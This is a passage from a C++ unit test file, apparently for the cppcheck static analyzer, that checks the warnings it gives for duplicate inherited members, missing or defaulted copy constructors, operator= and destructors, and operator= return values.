protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n 